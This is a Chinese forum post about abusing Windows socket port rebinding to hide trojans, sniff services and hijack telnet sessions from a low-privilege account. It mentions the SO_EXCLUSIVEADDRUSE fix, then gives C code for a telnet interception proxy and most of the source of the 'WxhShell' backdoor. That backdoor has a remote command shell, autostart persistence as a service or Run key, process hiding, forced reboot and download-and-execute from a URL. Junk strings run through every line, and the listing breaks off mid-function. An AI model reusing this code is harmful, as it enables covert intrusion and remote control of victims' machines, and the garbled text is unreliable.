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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s*KhF'fN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S/hQZHZHg,  
Ux!p8  
  saddr.sin_family = AF_INET; lWk>z; d  
\##zR_%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BN5[,J  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yf.~XUk^  
 R Z?jJm$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nIf1sH>  
8P\G }  
  这意味着什么?意味着可以进行如下的攻击: Pl06:g2I  
6dr%;Wp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PcMD])Z{G  
0cH`;!MZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) St9?RD{4;  
!x=~g"d<&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @Ns Qd_e  
w$iX.2|9%u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @Sn(lnlB  
&{n.]]%O.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lz Kj=5'Y  
?#G$=4;i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uk:(pZ-uJ  
2DDtu[}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nsC3  
Xf]d. :  
  #include 8U"v6S~A%Q  
  #include K:[F%e  
  #include epe)a  
  #include    ;%9|k U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9!\B6=r y4  
  int main() |$Sedzj'  
  { N7zft  
  WORD wVersionRequested; ?pmHFlx  
  DWORD ret; a$OE0zn`  
  WSADATA wsaData; ',@3>T**  
  BOOL val; `:KY\  
  SOCKADDR_IN saddr; M#6W(|V/  
  SOCKADDR_IN scaddr; 7hcYD!DS  
  int err; <oV(7  
  SOCKET s; 7M~K,E(7~  
  SOCKET sc; s WvBv  
  int caddsize; ,AFu C <  
  HANDLE mt; lIS-4QX1  
  DWORD tid;   e{K 215  
  wVersionRequested = MAKEWORD( 2, 2 ); -zgI_u9=EB  
  err = WSAStartup( wVersionRequested, &wsaData ); 7t0=[i  
  if ( err != 0 ) { nPl?K:(  
  printf("error!WSAStartup failed!\n"); 8C:z"@o  
  return -1; I-*S&SiXjI  
  } B hGu!Y6f  
  saddr.sin_family = AF_INET; 6,"Q=9k4[  
   s~g *@K>+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n5NsmVW\x  
hd<c&7|G'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }@+0/W?\.  
  saddr.sin_port = htons(23); YnAm{YyI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5coyr`7mP  
  { VA_PvL.9  
  printf("error!socket failed!\n"); }!r|1$,kL  
  return -1; <{cQM$ #  
  } \'D0'\:vz  
  val = TRUE; !CT5!5T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Qd$nH8EDY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ya"a`ozq  
  { =s2*H8]  
  printf("error!setsockopt failed!\n"); osAd1<EIC  
  return -1; *)T^Ch D,  
  } ~Ea} /Au  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "ne?P9'hF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (Zrj_P`0[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0&|\N ? 8_  
E,U+o $  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kJsN|=  
  { & G4\2l9  
  ret=GetLastError(); mSF(q78?  
  printf("error!bind failed!\n"); E A1?)|}n  
  return -1; WiR(;m<g  
  } ]Ie 0S~  
  listen(s,2); J @1!Oq>  
  while(1) )~JHgl  
  { }rw8PZ9  
  caddsize = sizeof(scaddr); 6j]0R*B7`Q  
  //接受连接请求 ]MitOkX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kfY}S  
  if(sc!=INVALID_SOCKET) DU/]  
  { )_S(UVI5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hk.TM2{w  
  if(mt==NULL) ;))+>%SGCt  
  { c9u`!'g`i  
  printf("Thread Creat Failed!\n"); | rtD.,m   
  break; oIzj,v8$  
  } y I  
  } ,f'CD{E  
  CloseHandle(mt); :KP @RZm  
  } 6}Ci>_i4#  
  closesocket(s); ag[wdoj  
  WSACleanup(); H=vUYz  
  return 0; _9Te!gJ4_#  
  }   ,i`,Oy(BI  
  DWORD WINAPI ClientThread(LPVOID lpParam) xr Jg\to{i  
  { !``,gExH  
  SOCKET ss = (SOCKET)lpParam; u^I|T.w<r6  
  SOCKET sc; j-}O0~Jz  
  unsigned char buf[4096]; 29] G^f>  
  SOCKADDR_IN saddr; '4Bm;&6M  
  long num; EUX\^c]n  
  DWORD val; O;jrCB  
  DWORD ret; (vJNHY M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /%1ON9o>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2-v%`fA  
  saddr.sin_family = AF_INET; `kXs;T6&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y/7\?qfTk  
  saddr.sin_port = htons(23); xdt- ;w|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q\7h`d%)  
  { Ie#Bkw'*  
  printf("error!socket failed!\n"); Jk n>S#SZ  
  return -1; A]oV"`f  
  } "JV_2K_i  
  val = 100; !F'YDjTot  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wc4{)qDE  
  { V6X 0^g  
  ret = GetLastError(); '-XXo=>0MV  
  return -1; w;amZgD>  
  } B%6)}Nl[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fk7')?  
  { (iX+{a%"  
  ret = GetLastError(); Y\8)OBZ  
  return -1; O m2d .7S  
  } ?NsW|w_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WP'!*[z  
  { ;h  
  printf("error!socket connect failed!\n"); ;dgp+  
  closesocket(sc); 7[XRd9a5(  
  closesocket(ss); -C]5>& W  
  return -1; >KhOz[Zg  
  } :':s@gqr  
  while(1) 9qzHS~l  
  { WW~sNC\3`(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r[iflBP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;[OH(!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &}B|"s[  
  num = recv(ss,buf,4096,0); [sj osV  
  if(num>0) 4!no~ $b  
  send(sc,buf,num,0); ~=l;=7 T  
  else if(num==0) 7;wd(8  
  break; `|& O*`  
  num = recv(sc,buf,4096,0); B[?Ng}<g`  
  if(num>0) A$0fKko  
  send(ss,buf,num,0); qu{&xjTH8  
  else if(num==0) ;85>xHK  
  break; FWgpnI\X|{  
  } ]Q)OL  
  closesocket(ss); =dYqS[kJW  
  closesocket(sc); k,+0u/I  
  return 0 ; "J_9WUN  
  } >_T-u<E  
s9DYi~/,  
g*C7 '  
========================================================== R$[vm6T?  
>!1-lfa8  
下边附上一个代码,,WXhSHELL vV-`jsq20H  
}00BllJ  
========================================================== cIOlhX@  
Z,Dl` w  
#include "stdafx.h" M!D3}JRm  
wjB:5~n50k  
#include <stdio.h> <}9lZEqY  
#include <string.h> R(G7m@@{  
#include <windows.h> o`z]|G1''  
#include <winsock2.h> ?J~_R1Z  
#include <winsvc.h> ^o&. fQ*  
#include <urlmon.h> Z o(rTCZX  
0)Wltw~`&  
#pragma comment (lib, "Ws2_32.lib") H8}oIA"b  
#pragma comment (lib, "urlmon.lib") X2~!(WxU F  
=^,m` _1  
#define MAX_USER   100 // 最大客户端连接数 T!)(Dv8@F  
#define BUF_SOCK   200 // sock buffer {q^[a-h>  
#define KEY_BUFF   255 // 输入 buffer i2SR{e8:GF  
P8/0H(,  
#define REBOOT     0   // 重启 '3^'B0 3  
#define SHUTDOWN   1   // 关机 *_\_'@1|J)  
oV78Hq6  
#define DEF_PORT   5000 // 监听端口 >e5 qv(y]  
a~y'RyA  
#define REG_LEN     16   // 注册表键长度 "b3"TPfK  
#define SVC_LEN     80   // NT服务名长度 ":QZy8f9%  
ee76L&:  
// 从dll定义API \d`h/tHk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |[b{)s?x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,UF_`|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kVLS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v_GUNRs  
)|# sfHv7  
// wxhshell配置信息 gT6jYQ  
struct WSCFG { s&3Vg7B  
  int ws_port;         // 监听端口 )oPBa  
  char ws_passstr[REG_LEN]; // 口令 bq0zxg%  
  int ws_autoins;       // 安装标记, 1=yes 0=no UH"%N)[  
  char ws_regname[REG_LEN]; // 注册表键名 Em~>9f ?Q(  
  char ws_svcname[REG_LEN]; // 服务名 }`m/bgtFX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3eQ&F~S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YNsJZnGr8#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $kp{Eg '  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0{-q#/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NyNXP_8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ' %o#q6O  
:& ."ttf=  
}; "87:?v[[1  
L$M9w  
// default Wxhshell configuration cTTL1SW  
struct WSCFG wscfg={DEF_PORT, IF:;`r@%  
    "xuhuanlingzhe", }b.%Im<3R  
    1, FJ)$f?=Qd  
    "Wxhshell", n,WqyNt*  
    "Wxhshell", s|r3Gv|G  
            "WxhShell Service", h>m"GpF x  
    "Wrsky Windows CmdShell Service", k~1?VQ+?M  
    "Please Input Your Password: ", >}6%#CAf  
  1, 3L}A3de'  
  "http://www.wrsky.com/wxhshell.exe", St*h>V6  
  "Wxhshell.exe" PB\x3pV!}  
    }; u.xnOcOH!  
s?L  
// 消息定义模块 *u;Iw{.{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1#+S+g@#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YS"=yye 3e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P71Lqy)5}A  
char *msg_ws_ext="\n\rExit."; ji0@P'^;  
char *msg_ws_end="\n\rQuit."; t\7[f >  
char *msg_ws_boot="\n\rReboot..."; z!9-:  
char *msg_ws_poff="\n\rShutdown..."; >e$PP8&i_T  
char *msg_ws_down="\n\rSave to "; TAW/zpps$  
t;\Y{`  
char *msg_ws_err="\n\rErr!"; 7WZ+T"O{I  
char *msg_ws_ok="\n\rOK!"; ePo}y])2  
o0KL5].  
char ExeFile[MAX_PATH]; ##"HF  
int nUser = 0; Oxd]y1  
HANDLE handles[MAX_USER]; 2g! +<YZ~  
int OsIsNt; j|#Bo:2km  
A6(/;+n  
SERVICE_STATUS       serviceStatus; ,Ko!$29[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9q~s}='"  
+ ksVtG,  
// 函数声明 P+/e2Y  
int Install(void); tK\~A,=  
int Uninstall(void); l2Rb\4  
int DownloadFile(char *sURL, SOCKET wsh); y?4BqgB  
int Boot(int flag); A2Gevj?F$  
void HideProc(void); s!$7(Q86R  
int GetOsVer(void); XZd,&YiaG  
int Wxhshell(SOCKET wsl); 3)ywX&4"L  
void TalkWithClient(void *cs); ^k9I(f^c-_  
int CmdShell(SOCKET sock); {3aua:q  
int StartFromService(void); F7#JLE=  
int StartWxhshell(LPSTR lpCmdLine); =B@2#W#  
{R6ZKB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $6SW;d+>n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1 ]b.fD  
8bld3p"^  
// 数据结构和表定义 ~b8]H|<'Y  
SERVICE_TABLE_ENTRY DispatchTable[] = ?$4 PVI}  
{ 9djk[ttA)  
{wscfg.ws_svcname, NTServiceMain}, E r?&Y,o  
{NULL, NULL} %1+4_g9  
}; (SAs-  
TOQP'/   
// 自我安装 c{w2Gt!  
int Install(void) qlPT Ll  
{ Z4ImV~m  
  char svExeFile[MAX_PATH]; $6poFo)U+  
  HKEY key; f ) L  
  strcpy(svExeFile,ExeFile); qUb&   
t"oeQ*d%  
// 如果是win9x系统,修改注册表设为自启动 92oFlEJ  
if(!OsIsNt) { 8KzkB;=n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M9%$lCl   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5:_}zu|!u  
  RegCloseKey(key); e+fN6v5pU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1bwOm hkS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^^ixa1H<  
  RegCloseKey(key); CRy|kkT  
  return 0; $ $mV d+  
    } QoT;WM Z  
  } uoh7Sz5!^  
} ]:J$w]\  
else { 4^o^F-k'  
@cXMG6:{  
// 如果是NT以上系统,安装为系统服务 `'7R,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 63IM]J  
if (schSCManager!=0) a9Zq{Ysj  
{ [(7S.5I  
  SC_HANDLE schService = CreateService ] Zh%DQ  
  ( SOA,kwHRe  
  schSCManager, 5\VWCI  
  wscfg.ws_svcname, c@L< Z`u  
  wscfg.ws_svcdisp, U|R_OLWAg  
  SERVICE_ALL_ACCESS, H0vfUF53l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DkDmE  
  SERVICE_AUTO_START, l+0oS'`V*L  
  SERVICE_ERROR_NORMAL, 5]:U9ts#  
  svExeFile, Nu)NqFG,  
  NULL, H3-hcx54T  
  NULL, (KZ{^X?a  
  NULL, a/xn'"eli  
  NULL, 19%i mf  
  NULL Y(Hs#Kn{  
  ); 'PW5ux@`<  
  if (schService!=0) *.w 9c  
  { Z6MO^_m2  
  CloseServiceHandle(schService); !0<,@v"  
  CloseServiceHandle(schSCManager); +X 88;-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yyTnL 2Y9  
  strcat(svExeFile,wscfg.ws_svcname); ]u/sphPe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G7/ +ogV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1<aP92/N&  
  RegCloseKey(key); g2Z`zQA7  
  return 0; }3WxZv]I}  
    } '[%j@PlCX  
  } cQ}{[YO  
  CloseServiceHandle(schSCManager); m+z& Q  
} @d1Q"9}B  
} +k R4E23:  
":N9(}9  
return 1; 9 QJyZ  
}  &q*Aj17  
42ge3>  
// 自我卸载 ,64 -1!  
int Uninstall(void) w7&A0M  
{ k$:|-_(w  
  HKEY key; ~6md !o%i  
)NT*bLRPQ  
if(!OsIsNt) { (A.C]hD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h 'nY3GrU  
  RegDeleteValue(key,wscfg.ws_regname); EU Fa5C:  
  RegCloseKey(key); ]A_`0"m.U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w5 Li&m  
  RegDeleteValue(key,wscfg.ws_regname); X1_5KH  
  RegCloseKey(key); Bk{]g=DO  
  return 0; vtJJ#8a]  
  } k4zZ7H  
} gI|~|-'  
} SSzIih@u  
else { ,|/f`Pl  
buHJB*?9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q22 GIr  
if (schSCManager!=0) +&H4m=D-#a  
{ K3l95he  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sV*H`N')S  
  if (schService!=0) XQw9~$  
  { A^SgI-y|  
  if(DeleteService(schService)!=0) { <IW$m!{VG  
  CloseServiceHandle(schService); @IZnFHN  
  CloseServiceHandle(schSCManager); ~pky@O#b  
  return 0; uCB=u[]y4  
  } l9"s>PU  
  CloseServiceHandle(schService); F,CT Z~  
  } %J-GKpo/S  
  CloseServiceHandle(schSCManager); >y+B  
} f* wx<  
} fI|$K )K  
O^rDHFj,  
return 1; b| (: [nB  
} |JsZJ9W+J  
_,*r_D61S  
// 从指定url下载文件 )=(kBWM  
int DownloadFile(char *sURL, SOCKET wsh) iK;XZZ(  
{ M)(DZ}  
  HRESULT hr; Z4bNV?OH  
char seps[]= "/";  LFV%&y|L  
char *token; + >!;i6|  
char *file; b\,+f n  
char myURL[MAX_PATH]; tX~w{|k  
char myFILE[MAX_PATH]; /dIzY0<aO  
dDGQ`+H9  
strcpy(myURL,sURL); 1=v*O.XW`  
  token=strtok(myURL,seps); 'Z]w^<  
  while(token!=NULL) g 0E'g  
  { gnHbb-<i,  
    file=token; |5]X| v  
  token=strtok(NULL,seps); cidP|ie^  
  } f%8C!W]Dm  
"ocyK}l.?  
GetCurrentDirectory(MAX_PATH,myFILE); zKK9r~ M  
strcat(myFILE, "\\"); b~cZS[S  
strcat(myFILE, file); IAyp2  
  send(wsh,myFILE,strlen(myFILE),0); ]I6  J7A[  
send(wsh,"...",3,0); u$`a7Lp,n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lk=<A"^S  
  if(hr==S_OK) 8xMX  
return 0; vw@S>G lGg  
else Ni7nq8B<  
return 1; -I%5$`z  
rS Ni@;   
} c[s4EUG  
(w zQ2Dk  
// 系统电源模块 ?r!o~|9|  
int Boot(int flag) [<TrS/,)>  
{ "EJ~QCW*Yh  
  HANDLE hToken; -ze J#B)C  
  TOKEN_PRIVILEGES tkp; x|29L7i  
CU~PT.  
  if(OsIsNt) { M UwMb!Z.s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); onV>.7sG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fs^Mw g o  
    tkp.PrivilegeCount = 1; Y|/ 8up  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VS|2|n1<6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DIUjn;>k8  
if(flag==REBOOT) { o,wUc"CE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7mfS*aCb  
  return 0; 'E.w=7z&  
} f<6lf7qzC  
else { /<BI46B\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *n"{J(Jt`  
  return 0; d0 /#nz  
} 4`=m u}Y2  
  } |+"(L#wk  
  else { {Hk}Kow  
if(flag==REBOOT) { <\S:'g"(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W!(LF7_!  
  return 0; >KKMcTOYY  
} JjS?  
else { cl/_JQ&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h FBe,'3M  
  return 0; ] }X  
} Vf1^4 t  
} P1f[% 1  
?Ss!e$jf  
return 1; ]J]h#ZHx  
} PmM3]xVzd  
2b8L\$1q  
// win9x进程隐藏模块 QSf|nNT  
void HideProc(void) +qdEq_ m  
{ 3T0"" !Q  
f|oh.z_R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t.C5+^+%  
  if ( hKernel != NULL ) < FAheE+  
  { {+b7sA3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p{dj~ &v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M rb)  
    FreeLibrary(hKernel); W=4FFl[  
  } XRQ4\bMA8  
1yY0dOoLG)  
return; S`Rs82>  
} , 9 a  
YKf0dh;O  
// 获取操作系统版本 *DhiN  
int GetOsVer(void) }W,[/)MO  
{ UkGCyGyZ[  
  OSVERSIONINFO winfo; {BU;$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B#1;r-^P<  
  GetVersionEx(&winfo); IEvdV6{K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Jj%K=sw  
  return 1; ""~ajy  
  else Yu2Bkq+  
  return 0; ht}wEvv  
} uFga~&#g  
#gw]'&{8D  
// 客户端句柄模块 ]')RMg zM*  
int Wxhshell(SOCKET wsl) IV)j1  
{ jmW7)jT8:  
  SOCKET wsh; n '6jou  
  struct sockaddr_in client; y1L,0 ]  
  DWORD myID; 7"D.L-H  
cj5+N M"  
  while(nUser<MAX_USER) ]5:8Z@  
{ )dd@\n$6  
  int nSize=sizeof(client);  %D "I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); koi^l`B$  
  if(wsh==INVALID_SOCKET) return 1; x ]ot 2  
E8&TO~"a]e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U~7c+}:c  
if(handles[nUser]==0) ;gr9/Vl  
  closesocket(wsh); II x#2r  
else uY'HT|@:{  
  nUser++; 7. ;3e@s  
  } y"wShAR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Pk)1WK7E  
QP J4~  
  return 0; \dQNLLg/  
} g eCM<]  
jEJT-*I1+  
// 关闭 socket uM6+?A9@l  
void CloseIt(SOCKET wsh) k"w"hg&e  
{ k|d+#u[Mj@  
closesocket(wsh); jRV/A!4  
nUser--; v|2T%y_ u  
ExitThread(0); iAU@Yg`pt  
} =w0R$&b&  
:*\Pn!r  
// 客户端请求句柄 bA->{OPkT  
void TalkWithClient(void *cs) 45>?o  
{ {Y9q[D'g.  
7D5]G-}x.  
  SOCKET wsh=(SOCKET)cs; H<N,%G  
  char pwd[SVC_LEN]; i K? w6  
  char cmd[KEY_BUFF]; Pgea NK5Y  
char chr[1]; $E.I84UfX  
int i,j; N87B8rDl  
?FcAXA/J{  
  while (nUser < MAX_USER) { cExS7~*  
"'\$ g[k  
if(wscfg.ws_passstr) { 3m)y|$R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); um0N)&iY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P";'jVcR  
  //ZeroMemory(pwd,KEY_BUFF); 83q6Sv  
      i=0; ^y%T~dLkp'  
  while(i<SVC_LEN) { MFk5K  
R~$qo)v  
  // 设置超时 V~5jfcd  
  fd_set FdRead; aw42oLk  
  struct timeval TimeOut; }`~+]9 <   
  FD_ZERO(&FdRead); D,FkB"ZZE  
  FD_SET(wsh,&FdRead); BThrO d  
  TimeOut.tv_sec=8; ?5 7Sk+  
  TimeOut.tv_usec=0; %bfQ$a:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <UQbt N-B\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9q[oa5INd  
uW36;3[f#1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w+CA1q<  
  pwd=chr[0]; n7-6- #  
  if(chr[0]==0xd || chr[0]==0xa) { <e</m)j  
  pwd=0; B`J~^+`[*  
  break; {{p7 3 'u  
  } X}\:_/  
  i++; 3/n5#&c\4  
    } Jze:[MYS  
JFk lUgg  
  // 如果是非法用户,关闭 socket 9-*uPK]m9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A~t j/yq9  
} k+pr \d~  
p= } Nn(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WI-1)1t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?<'}r7D   
#4 pB@_  
while(1) { u:_,GQ )\  
;;N9>M?b  
  ZeroMemory(cmd,KEY_BUFF); OpYY{f  
AkQ ~k0i}b  
      // 自动支持客户端 telnet标准   kpN)zxfk  
  j=0; %OOl'o"V{s  
  while(j<KEY_BUFF) { `RL"AH:+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j#q-^h3H  
  cmd[j]=chr[0]; Z>5b;8  
  if(chr[0]==0xa || chr[0]==0xd) { pg)WKbV  
  cmd[j]=0; *CI#+P  
  break; 5]Y?m'  
  } [K0(RDV)%  
  j++; kL"2=7m;  
    } YteO 6A;  
4@# `t5H  
  // 下载文件 HCC#j9UN6  
  if(strstr(cmd,"http://")) { oEZdd#*;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %M|hA#04vZ  
  if(DownloadFile(cmd,wsh)) @i IRmQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dwfu.ZJa  
  else y/ ef>ZZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *YuF0Yt  
  } 9m~p0ILh  
  else { QE`bSI  
e h?zNu2=  
    switch(cmd[0]) { P?of<i2E  
  ExL0?FemWV  
  // 帮助 L>4"(  
  case '?': { -4{<=y?"a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LuvY<~u  
    break; &Ys<@M7E:  
  } m`^q <sj  
  // 安装 A*547=M/(j  
  case 'i': { 4)urU7[ &)  
    if(Install()) ={@6{-tl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D7Q$R:6|  
    else [j/9neaye  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N~zdWnSZ@G  
    break; K F!Yf\  
    } Od,qbU4O  
  // 卸载 fSvM(3Y<Qh  
  case 'r': { Uf;^%*P4  
    if(Uninstall()) R|87%&6']  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u^ 8{Z;mm  
    else &powy7rR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |[ai JR[Q  
    break; :emiQ  
    }  Sw, +p  
  // 显示 wxhshell 所在路径 Ig0VW)@  
  case 'p': { O.M>+~Nw  
    char svExeFile[MAX_PATH]; ,uhb~N<  
    strcpy(svExeFile,"\n\r"); |~mOfuQb  
      strcat(svExeFile,ExeFile); ra gXn  
        send(wsh,svExeFile,strlen(svExeFile),0); O`t&ldU  
    break; fdi\hg^x  
    } ,w:U#r~s"  
  // 重启 sLT3Y}IO  
  case 'b': { !9VY|&fHe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -3Z,EaG^  
    if(Boot(REBOOT)) 1JG'%8}#8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L2i_X@/  
    else { ~YWQ2]  
    closesocket(wsh); wIaony  
    ExitThread(0); ?Z[[2\DR  
    } j[J-f@F \Y  
    break; xHLlMn4M  
